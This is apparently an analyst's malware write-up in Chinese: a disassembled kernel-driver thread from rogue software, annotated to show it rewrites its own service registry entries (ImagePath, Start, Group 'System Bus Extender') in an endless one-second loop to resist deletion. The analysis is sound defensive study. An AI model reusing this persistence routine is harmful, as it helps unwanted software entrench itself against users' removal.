StartRoutine proc near
;这个就是创建的系统线程执行的代码了!
;和piaoxue的完全一样!我就不分析了
;感觉这个驱动可能出自一个人之手
;甚至更有可能的是,这种驱动是有组织的!
;组织间不同 的流氓软件制造者共享着驱动代码(因驱动比较难写!)
DestinationString= UNICODE_STRING ptr -374h
var_36C= dword ptr -36Ch
ValueName= UNICODE_STRING ptr -364h
var_35C= dword ptr -35Ch
var_354= dword ptr -354h
var_34C= dword ptr -34Ch
var_344= dword ptr -344h
var_33C= dword ptr -33Ch
ObjectAttributes=
OBJECT_ATTRIBUTES ptr -334h
var_31C= dword ptr -31Ch
Data= dword ptr -318h
Interval= LARGE_INTEGER ptr -314h
var_30C= dword ptr -30Ch
Handle= dword ptr -308h
SourceString= word ptr -304h
var_29A= dword ptr -29Ah
var_104= byte ptr -104h
var_4= dword ptr -4
mov edi, edi
push ebp
mov ebp, esp
sub esp, 374h
mov eax, dword_11280
push ebx
push esi
push edi
push 3Fh
mov [ebp+var_4], eax
pop ecx
xor eax, eax
xor ebx, ebx
mov [ebp+var_104], bl
lea edi, [ebp-103h]
rep stosd
stosw
stosb
push 1Ah
pop ecx
mov esi, offset s_RegistryMachi ; "\\registry\\machine\\system\\currentcontrol"...
lea edi, [ebp+SourceString]
rep movsd
movsw
push 65h
pop ecx
xor eax, eax
lea edi, [ebp+var_29A]
rep stosd
stosw
mov edi, offset word_1129C
lea eax, [ebp+SourceString]
push edi ; wchar_t *
push eax ; wchar_t *
mov [ebp+var_30C], 1
call ds:wcscat
mov esi, ds:RtlInitUnicodeString
pop ecx
pop ecx
lea eax, [ebp+SourceString]
push eax ; SourceString
lea eax, [ebp+DestinationString]
push eax ; DestinationString
call esi ; RtlInitUnicodeString
lea eax, [ebp+DestinationString]
mov [ebp+
ObjectAttributes.
ObjectName], eax
push offset s_Imagepath ; "ImagePath"
lea eax, [ebp+ValueName]
push eax ; DestinationString
mov [ebp+
ObjectAttributes.Length], 18h
mov [ebp+
ObjectAttributes.RootDirectory], ebx
mov [ebp+
ObjectAttributes.Attributes], 240h
mov [ebp+
ObjectAttributes.SecurityDescriptor], ebx
mov [ebp+
ObjectAttributes.SecurityQualityOfService], ebx
call esi ; RtlInitUnicodeString
push offset s_Start ; "Start"
lea eax, [ebp+var_344]
push eax ; DestinationString
call esi ; RtlInitUnicodeString
push offset s_Type ; "Type"
lea eax, [ebp+var_33C]
push eax ; DestinationString
call esi ; RtlInitUnicodeString
push offset s_Errorcontrol ; "ErrorControl"
lea eax, [ebp+var_34C]
push eax ; DestinationString
call esi ; RtlInitUnicodeString
push offset s_Displayname ; "DisplayName"
lea eax, [ebp+var_36C]
push eax ; DestinationString
call esi ; RtlInitUnicodeString
push offset s_Group ; "Group"
lea eax, [ebp+var_35C]
push eax ; DestinationString
call esi ; RtlInitUnicodeString
or dword ptr [ebp+Interval+4], 0FFFFFFFFh
push offset byte_11288
lea eax, [ebp+var_104]
push offset s_System32Drive ; "System32\\DRIVERS\\%s.sys"
push eax ; char *
mov dword ptr [ebp+Interval], 0FF676980h
call ds:sprintf
add esp, 0Ch
lea eax, [ebp+var_104]
push eax ; SourceString
lea eax, [ebp+var_354]
push eax ; DestinationString
call ds:RtlInitAnsiString
push 1 ; AllocateDestinationString
lea eax, [ebp+var_354]
push eax ; SourceString
lea eax, [ebp+var_31C]
push eax ; DestinationString
call ds:RtlAnsiStringToUnicodeString
test eax, eax
jl loc_11024
mov esi, ds:ZwSetValueKey
loc_10F1B: ; Disposition
push ebx
push ebx ; CreateOptions
push ebx ; Class
push ebx ; TitleIndex
lea eax, [ebp+
ObjectAttributes]
push eax ;
ObjectAttributes
push 2 ; DesiredAccess
lea eax, [ebp+Handle]
push eax ; KeyHandle
call ds:ZwCreateKey
test eax, eax
jl loc_11010
movzx eax, word ptr [ebp+var_31C]
inc eax
inc eax
push eax ; DataSize
push [ebp+Data] ; Data
lea eax, [ebp+ValueName]
push 2 ; Type
push ebx ; TitleIndex
push eax ; ValueName
push [ebp+Handle] ; KeyHandle
mov [ebp+var_30C], 1
call esi ; ZwSetValueKey
push 4 ; DataSize
lea eax, [ebp+var_30C]
push eax ; Data
push 4 ; Type
push ebx ; TitleIndex
lea eax, [ebp+var_33C]
push eax ; ValueName
push [ebp+Handle] ; KeyHandle
call esi ; ZwSetValueKey
push 4 ; DataSize
lea eax, [ebp+var_30C]
push eax ; Data
push 4 ; Type
push ebx ; TitleIndex
lea eax, [ebp+var_34C]
push eax ; ValueName
push [ebp+Handle] ; KeyHandle
call esi ; ZwSetValueKey
push edi ; wchar_t *
call ds:wcslen
pop ecx
shl eax, 1
push eax ; DataSize
push edi ; Data
push 1 ; Type
push ebx ; TitleIndex
lea eax, [ebp+var_36C]
push eax ; ValueName
push [ebp+Handle] ; KeyHandle
call esi ; ZwSetValueKey
push offset s_SystemBusExte ; "System Bus Extender"
call ds:wcslen
pop ecx
shl eax, 1
push eax ; DataSize
push offset s_SystemBusExte ; "System Bus Extender"
push 1 ; Type
push ebx ; TitleIndex
lea eax, [ebp+var_35C]
push eax ; ValueName
push [ebp+Handle] ; KeyHandle
call esi ; ZwSetValueKey
push 4 ; DataSize
lea eax, [ebp+var_30C]
push eax ; Data
push 4 ; Type
push ebx ; TitleIndex
lea eax, [ebp+var_344]
push eax ; ValueName
push [ebp+Handle] ; KeyHandle
mov [ebp+var_30C], ebx
call esi ; ZwSetValueKey
push [ebp+Handle] ; Handle
call ds:ZwClose
loc_11010:
lea eax, [ebp+Interval]
push eax ; Interval
push ebx ; Alertable
push ebx ; WaitMode
call ds:KeDelayExecutionThread
jmp loc_10F1B
loc_11024:
mov ecx, [ebp+var_4]
pop edi
pop esi
pop ebx
call sub_1104F
leave
retn 4
StartRoutine endp
;这里的作用就是不断重写自己的服务注册表项,以防止被删除!

果然够狠的!